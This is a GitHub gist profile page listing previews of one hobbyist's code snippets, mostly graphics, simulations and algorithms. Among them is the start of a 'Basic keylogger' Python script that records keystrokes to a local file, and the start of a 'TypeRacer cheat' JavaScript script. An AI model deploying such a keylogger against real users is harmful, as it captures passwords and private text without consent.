Skip to content

Instantly share code, notes, and snippets.

View WalkingBread's full-sized avatar
🍋
Best fruit.

Mateusz Skorupiński WalkingBread

🍋
Best fruit.
  • Gdańsk, Poland
View GitHub Profile
@WalkingBread
WalkingBread / rendering.py
Created March 2, 2021 11:31
Blender script rendering object in isomteric perspective from 8 points of view.
import bpy
import math
scene = bpy.data.scenes["Scene"]
cam = bpy.data.objects['Camera']
cam.rotation_mode = 'XYZ'
scene.camera = cam
frame_amount = 10
@WalkingBread
WalkingBread / keylogger.py
Last active October 3, 2019 17:26
Basic keylogger
import keyboard
keys = []
while True:
hotkey = keyboard.read_hotkey(suppress=False)
key = keyboard.read_key(suppress=False)
if hotkey == 'ctrl+j':
f = open('logged.txt', 'w+')
for x in range(0, len(keys)):
@WalkingBread
WalkingBread / markov-chain.py
Created May 5, 2019 20:46
Markov chain text generator
# "A Markov chain is a stochastic model describing a sequence of possible events in which
# the probability of each event depends only on the state attained in the previous event."
# ~ wikipedia
import sys
from random import choice
if __name__ == '__main__':
args = sys.argv
# path to a txt file
@WalkingBread
WalkingBread / cfgs.py
Created May 4, 2019 18:39
Get all array configurations in python
def get_all_cfgs(base, words):
from copy import deepcopy
cfgs = []
_words = deepcopy(words)
if base != None:
for w in base:
if w in _words:
_words.remove(w)
if len(_words) == 0:
cfg = base
@WalkingBread
WalkingBread / camera.js
Created May 2, 2019 10:41
2D game camera example js
const MAP_X = -1500, MAP_Y = -1500, MAP_WIDTH = 3000, MAP_HEIGHT = 3000;
const W_KEY = 87, S_KEY = 83, D_KEY = 68, A_KEY = 65;
const background_color = '#f0f0ff';
var ctx, width, height;
var keycode;
var player,
points = [];
var points_on_map = 500;
window.onload = () => {
@WalkingBread
WalkingBread / index.js
Created January 8, 2019 20:57
TypeRacer cheat
let join_race_links = [];
check_for(['.mainMenu', '.inputPanel'], 2000, () => {
const menu = document.querySelector('.mainMenu');
if(menu !== null) {
const main_menu_items = menu.querySelectorAll('.mainMenuItemText');
const multiplayer_link = main_menu_items[0].querySelector('.gwt-Anchor');
const singleplayer_link = main_menu_items[1].querySelector('.gwt-Anchor');
@WalkingBread
WalkingBread / dna.js
Last active November 13, 2018 18:56
Genetic Algorithm Example
function randomChar() {
const charset = ' 0123456789abcdefghijklmnopqrstuvwxyz\',.-+=-/*&^%$#@!?(){}[]"';
const index = Math.floor(Math.random() * charset.length);
let char = charset[index];
if(Math.random() > 0.5) {
char = char.toUpperCase();
}
@WalkingBread
WalkingBread / index.html
Created September 20, 2018 15:06
Starfield simulation in js vanilla.
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<style> body { padding: 0; margin: 0; } canvas { vertical-align: top; } </style>
</head>
<body>
<canvas id="canvas"></canvas>
</body>
<script src="starfield.js"></script>
@WalkingBread
WalkingBread / index.html
Last active September 17, 2018 17:27
Basic 3D orthographic render in vanilla js using matrix library based on Daniel Shiffman's work.
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<style> body { padding: 0; margin: 0; } canvas { vertical-align: top; }</style>
<title>3D</title>
</head>
<body>
<canvas class="canvas"></canvas>
</body>